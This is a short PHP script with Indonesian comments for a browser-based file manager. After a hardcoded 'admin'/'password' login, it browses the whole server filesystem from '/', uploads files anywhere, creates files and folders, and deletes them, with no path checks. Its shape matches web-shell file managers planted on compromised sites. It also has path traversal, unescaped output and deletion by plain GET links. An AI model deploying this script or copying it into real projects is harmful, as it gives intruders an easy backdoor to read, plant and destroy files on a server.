session_start();
// --- LOGIN SEDERHANA ---
$USER = 'admin';
$PASS = 'password';
if (!isset($_SESSION['logged_in'])) {
if (isset($_POST['user']) && isset($_POST['pass'])) {
if ($_POST['user'] === $USER && $_POST['pass'] === $PASS) {
$_SESSION['logged_in'] = true;
} else {
echo '';
exit;
}
} else {
echo '';
exit;
}
}
// --- PATH DINAMIS ---
$dir = isset($_GET['dir']) ? $_GET['dir'] : '/';
$dir = rtrim($dir, '/') . '/';
if (!is_readable($dir)) {
die("Tidak bisa akses directory ini");
}
// --- HANDLE UPLOAD ---
if (isset($_FILES['file_upload'])) {
$target = $dir . basename($_FILES['file_upload']['name']);
if (move_uploaded_file($_FILES['file_upload']['tmp_name'], $target)) {
echo "Upload berhasil: " . htmlspecialchars(basename($_FILES['file_upload']['name'])) . "
";
} else {
echo "Upload gagal!
";
}
}
// --- HANDLE HAPUS ---
if (isset($_GET['delete'])) {
$del = $dir . $_GET['delete'];
if (is_dir($del)) rmdir($del);
elseif (is_file($del)) unlink($del);
header("Location: ?dir=" . urlencode($dir));
exit;
}
// --- HANDLE BUAT FOLDER ---
if (isset($_POST['new_folder'])) {
$nf = $dir . $_POST['new_folder'];
if (!file_exists($nf)) mkdir($nf);
}
// --- HANDLE BUAT FILE ---
if (isset($_POST['new_file'])) {
$nf = $dir . $_POST['new_file'];
if (!file_exists($nf)) file_put_contents($nf, "");
}
// --- LIST FILES & FOLDER ---
$files = scandir($dir);
echo "Directory: $dir
";
if ($dir != '/') echo "<a href='?dir=" . urlencode(dirname($dir)) . "'>.. (Up)</a>
";
// --- FORM UPLOAD ---
echo '
';
// --- FORM BUAT FOLDER ---
echo '
';
// --- FORM BUAT FILE ---
echo '
';
// --- LISTING FILE/FOLDER DENGAN LINK HAPUS ---
foreach ($files as $file) {
if ($file == '.') continue;
$path = $dir . $file;
$delete_link = "?dir=" . urlencode($dir) . "&delete=" . urlencode($file);
if (is_dir($path)) {
echo "[DIR] <a href='?dir=" . urlencode($path) . "'>$file</a> | <a href='$delete_link'>Hapus</a>
";
} else {
echo "[FILE] $file | <a href='$delete_link'>Hapus</a>
";
}
}